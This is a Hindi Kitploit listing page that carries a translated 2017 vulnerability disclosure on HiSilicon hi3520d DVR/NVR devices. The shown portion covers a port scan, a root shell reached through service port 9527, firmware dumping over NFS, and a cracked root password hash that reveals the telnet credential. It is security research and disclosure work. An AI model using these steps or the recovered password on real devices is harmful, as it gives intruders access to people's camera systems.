Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
pwn-hisilicon-dvr — HiSilicon hi3520d DVR/NVR उपकरणों के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट और भेद्यता प्रकटीकरण। वेब इंटरफ़ेस, बैकडोर क्रेडेंशियल्स और बफर ओवरफ्लो विश्लेषण के माध्यम से RCE प्रदर्शित करता है। | Kitploit
उपकरण/GitHubGitHub/tothi/pwn-hisilicon-dvr
एम्बेडेड सिस्टम सुरक्षापासवर्ड क्रैकिंगIoT सुरक्षानेटवर्क मैपिंगभेद्यता विश्लेषणशोषणरिवर्स इंजीनियरिंगवेब एप्लिकेशन शोषणजानकारी एकत्र करनाफज़िंगबाइनरी विश्लेषण
38390203 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
GitHub
tothi/pwn-hisilicon-dvr

pwn-hisilicon-dvr

HiSilicon hi3520d DVR/NVR उपकरणों के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट और भेद्यता प्रकटीकरण। वेब इंटरफ़ेस, बैकडोर क्रेडेंशियल्स और बफर ओवरफ्लो विश्लेषण के माध्यम से RCE प्रदर्शित करता है।

रिपॉजिटरी देखें

= HiSilicon DVR हैक Istvan Toth [email protected] v1.0, 2017-09-06 :source-highlighter: pygments :toc: preamble :toclevels: 5 :toc-title: Contents :image_width: 100%

[abstract] यह रिपोर्ट HiSilicon hi3520d और समान सिस्टम ऑन चिप (SoC) पर आधारित DVR/NVR उपकरणों की गंभीर कमजोरियों (proof of concept (PoC) कोड के साथ) का खुलासा करती है। इन कमजोरियों के शोषण से केवल वेब इंटरफ़ेस का उपयोग करके अनधिकृत दूरस्थ कोड निष्पादन (RCE) संभव होता है, जिससे शोषित डिवाइस का पूर्ण नियंत्रण प्राप्त हो जाता है। अपग्रेडेड फर्मवेयर की कमी के कारण, इन उपकरणों के उपयोग की अनुशंसा नहीं की जाती है। विक्रेता से दिसंबर 2016 से पहले संपर्क किया गया था, लेकिन अब भी कोई प्रतिक्रिया नहीं मिली है। खुलासे की रिलीज़ तिथि फरवरी 2017 है।

== प्रस्तावना

कुछ साल पहले मैंने eBay पर एक सस्ता चीनी DVR डिवाइस खरीदा था। डिवाइस के बूट लोगो पर लिखा है: "SECULINK - Security Monitoring"। एक आईटी सुरक्षा उत्साही होने के नाते, मैंने डिवाइस को करीब से देखने का फैसला किया कि यह सुरक्षा निगरानी सेवा कितनी "सुरक्षित" है। इस विषय पर गूगल करने पर मुझे कुछ दिलचस्प सामग्री मिली, लेकिन गहराई से खोजने पर डिवाइस से जुड़ी कहीं अधिक दिलचस्प और गंभीर समस्याएं (0-days) मिलीं।

आइए शुरुआत से पूरे हैकिंग सत्र पर एक नज़र डालें। (नई, स्वयं की उपलब्धियों को पुरानी, ज्ञात उपलब्धियों के साथ दर्शाया जाएगा।)

== DVR की खोज

पहले हमें आधिकारिक उपयोगकर्ता इंटरफ़ेस सीखना चाहिए, फिर गहराई से खोजना चाहिए, शायद फर्मवेयर प्राप्त करने का प्रयास करना चाहिए। कमजोरियों को खोजने की संभावना फर्मवेयर के साथ बढ़ जाती है।

=== पहली नज़र में DVR

परीक्षण के लिए बनाया गया DVR डिवाइस "Seculink" ब्रांड का है।

image::./seculink_device.png[Seculink DVR device]

उपलब्ध भौतिक इंटरफ़ेस:

  • 2x USB पोर्ट (आधिकारिक रूप से GUI कंसोल को नियंत्रित करने के लिए माउस हेतु),
  • HDMI पोर्ट (और VGA) बाहरी मॉनिटर जोड़ने के लिए (GUI और कैमरा दृश्यों के लिए),
  • एनालॉग CCTV कैमरों के लिए 4x BNC कनेक्टर,
  • वीडियो स्ट्रीम रिकॉर्ड करने के लिए स्टोरेज जोड़ने हेतु अंदर SATA पोर्ट,
  • नेटवर्क पहुंच के लिए ईथरनेट पोर्ट।

आधिकारिक उपयोगकर्ता इंटरफ़ेस:

  • HDMI (या VGA) को आउटपुट के रूप में और USB माउस / कीबोर्ड को इनपुट के रूप में उपयोग करके कैमरा दृश्य / नियंत्रण / पूर्ण सेटअप के लिए सीधी पहुंच,
  • कैमरा दृश्य / नियंत्रण के लिए HTTP के माध्यम से नेटवर्क पहुंच।

सीधे सुलभ सेटअप इंटरफ़ेस उपयोगकर्ता प्रमाणीकरण (उपयोगकर्ता नाम, पासवर्ड) द्वारा प्रतिबंधित है। डिफ़ॉल्ट सुपरयूज़र 'admin' है, डिफ़ॉल्ट पासवर्ड खाली है।

मजबूत पासवर्ड सेट करने के बाद, उपयोगकर्ता यह महसूस कर सकता है कि उसका कैमरा दृश्य दूसरों के लिए सुलभ नहीं है। लोग अक्सर DVR स्ट्रीम तक बाहर से पहुंचने के लिए DVR डिवाइस के वेब पोर्ट (tcp/80) को अपने सुरक्षित LAN से WAN ओर फ़ॉरवर्ड करते हैं (हम इसे उपयुक्त Shodan खोज द्वारा जांच सकते हैं ;) )।

=== फर्मवेयर प्राप्त करना

फर्मवेयर प्राप्त करने के कई तरीके हो सकते हैं:

  • इसे किसी सॉफ्ट तरीके से डिवाइस से प्राप्त करें (आधिकारिक इंटरफ़ेस का उपयोग करके, या किसी कमजोरी का शोषण करके),
  • इसे किसी हार्ड तरीके से डिवाइस से प्राप्त करें (JTAG, सीरियल कंसोल, आदि),
  • इसे इंटरनेट से खोजें और डाउनलोड करें (यदि उपलब्ध हो)।

यद्यपि बाद वाला (डाउनलोड) तरीका यहाँ काम करता है और सबसे आसान है, आइए पहले वाले को आज़माएँ, क्योंकि यह डिवाइस के बारे में अन्य जानकारी भी देता है।

=== सेवा स्कैनिंग

आइए DVR पर पूर्ण पोर्ट स्कैन करें। ध्यान दें कि (रूट द्वारा चलाए जाने पर डिफ़ॉल्ट) SYN स्कैन बहुत धीमा होता है क्योंकि पैकेट ड्रॉप होते हैं, लेकिन पूर्ण TCP कनेक्ट स्कैन कुछ मिनटों में समाप्त हो जाता है।


Nmap 7.40 scan initiated Sun Sep 3 01:57:47 2017 as: nmap -v -sV -sT -p- -oA nmap_full 192.168.88.127

Nmap scan report for dvr.lan (192.168.88.127) Host is up (0.028s latency). Not shown: 65529 closed ports PORT STATE SERVICE VERSION 23/tcp open telnet BusyBox telnetd 80/tcp open http uc-httpd 1.0.0 554/tcp open rtsp LuxVision or Vacron DVR rtspd 9527/tcp open unknown 34567/tcp open dhanalakshmi? 34599/tcp open unknown MAC Address: 00:12:12:15:B3:E7 (Plus ) Service Info: Host: LocalHost; Device: webcam

Nmap done at Sun Sep 3 02:00:42 2017 -- 1 IP address (1 host up) scanned in 174.79 seconds


सारांश और मैनुअल परीक्षण:

  • 23/tcp एक टेलनेट लॉगिन इंटरफ़ेस है जो किसी उपयोगकर्ता नाम
  • पासवर्ड (एप्लिकेशन क्रेडेंशियल नहीं) द्वारा सुरक्षित है
  • 80/tcp वेब इंटरफ़ेस है जो एप्लिकेशन क्रेडेंशियल द्वारा सुरक्षित है
  • 554/tcp एक rtsp सेवा है; इसे एक सामान्य rtsp url से खोला जा सकता है:

rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp

ध्यान दें कि rtsp स्ट्रीम खोलने के लिए भी क्रेडेंशियल की आवश्यकता होती है।

  • 9527/tcp कुछ बहुत ही दिलचस्प सुविधाओं वाला एक (गुप्त?) सेवा पोर्ट प्रतीत होता है,
  • 34567/tcp और 34599/tcp DVR एप्लिकेशन से संबंधित कुछ डेटा पोर्ट प्रतीत होते हैं।

यहाँ हमें यह बताना चाहिए कि डिवाइस संभवतः किसी Linux-जैसी प्रणाली है।

9527/tcp से (रॉ नेटकैट द्वारा) कनेक्ट करने पर एप्लिकेशन कंसोल लॉगिंग संदेशों और एक लॉगिन प्रॉम्प्ट के साथ दिखाई देता है। परिभाषित एप्लिकेशन क्रेडेंशियल्स में से किसी के साथ लॉगिन करना काम करता है। प्रॉम्प्ट के बाद help जारी करने पर कंसोल कमांड का संक्षिप्त विवरण मिलता है। कमांड shell सबसे दिलचस्प प्रतीत होती है। हाँ, यह डिवाइस पर रूट शेल देती है। ;)

ध्यान दें कि यह स्पष्ट रूप से एक गंभीर सुरक्षा समस्या है, क्योंकि किसी भी (कम विशेषाधिकार प्राप्त) एप्लिकेशन उपयोगकर्ता को डिवाइस पर स्वचालित रूप से रूट शेल नहीं मिलना चाहिए।

=== रूट शेल

रूट शेल में डिवाइस की खोज करने पर (जैसे dmesg द्वारा) यह स्पष्ट हो जाता है कि DVR Linux कर्नेल (संस्करण 3.0.8) चला रहा है, इसमें ARMv7 CPU है, SoC मॉडल hi3520d है।

चल रही प्रक्रियाओं (ps) की सूची से यह स्पष्ट है कि DVR एप्लिकेशन /var/Sofia है, जो nmap द्वारा पहचाने गए उपरोक्त tcp पोर्ट के अलावा 34568/udp और 34569/udp पर भी सुन रहा है (netstat -nlup)।

माउंटेड डिस्क की सूची (mount कमांड) से यह स्पष्ट है कि फर्मवेयर इमेज /dev/mtdblockX उपकरणों में है (जहाँ X=0,1,2,3,4,5)।

फर्मवेयर छोटा है और इसलिए सीमित है, इसलिए अगर हम डिवाइस से/में फ़ाइलें कॉपी करना चाहते हैं तो हमें रचनात्मक होना चाहिए। सौभाग्य से NFS समर्थित है, इसलिए अपने डेस्कटॉप मशीन पर NFS सर्वर स्थापित करना और DVR से इसे माउंट करना समस्या हल कर देता है:


mount -t nfs 192.168.88.100:/nfs /home -o nolock

अब फर्मवेयर प्राप्त करना सीधा है:


cat /dev/mtdblock1 > /home/mtdblock1-root.img cat /dev/mtdblock2 > /home/mtdblock2-usr.img cat /dev/mtdblock3 > /home/mtdblock3-custom.img cat /dev/mtdblock4 > /home/mtdblock4-logo.img cat /dev/mtdblock5 > /home/mtdblock5-mtd.img

हम फ़ाइलें प्राप्त कर सकते हैं (केवल रॉ इमेज ही नहीं):


cp /var/Sofia /home/ tar -cf /home/fs.tar /bin /boot /etc /lib /linuxrc /mnt /opt /root /sbin /share /slv /usr /var

=== टेलनेट इंटरफ़ेस

टेलनेट इंटरफ़ेस (पोर्ट 23/tcp) के माध्यम से डिवाइस तक पहुंचने के लिए, हमें कुछ OS क्रेडेंशियल की आवश्यकता हो सकती है। /etc/passwd को देखने पर हमारे पास रूट उपयोगकर्ता के लिए पासवर्ड हैश है:


root:absxcfbgXtb3o:0:0:root:/:/bin/sh

ध्यान दें कि रूट के अलावा कोई अन्य उपयोगकर्ता नहीं है, सब कुछ पूर्ण विशेषाधिकारों के साथ चल रहा है। (इसलिए यदि कोई किसी भी तरह डिवाइस में सेंध लगाता है, तो कोई बाधा नहीं होती, हमलावर को तुरंत पूर्ण शक्ति मिल जाती है।)

छह-अक्षर वाला अल्फ़ान्यूमेरिक (लोअरकेस) पासवर्ड मानते हुए, hashcat उपरोक्त कमजोर DES हैश को जल्दी से क्रैक कर देता है:


$ ./hashcat64.bin -a3 -m1500 absxcfbgXtb3o -1 ?l?d ?1?1?1?1?1?1

absxcfbgXtb3o:xc3511

Session..........: hashcat Status...........: Cracked Hash.Type........: descrypt, DES (Unix), Traditional DES Hash.Target......: absxcfbgXtb3o Time.Started.....: Sun Sep 3 03:25:07 2017 (2 mins, 29 secs) Time.Estimated...: Sun Sep 3 03:27:36 2017 (0 secs) Guess.Mask.......: ?1?1?1?1?1?1 [6] Guess.Charset....: -1 ?l?d, -2 Undefined, -3 Undefined, -4 Undefined Guess.Queue......: 1/1 (100.00%) Speed.Dev.#1.....: 815.9 kH/s (203.13ms) Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 121360384/2176782336 (5.58%) Rejected.........: 0/121360384 (0.00%) Restore.Point....: 93440/1679616 (5.56%) Candidates.#1....: sa8711 -> h86ani HWMon.Dev.#1.....: N/A

टूल डाउनलोड करें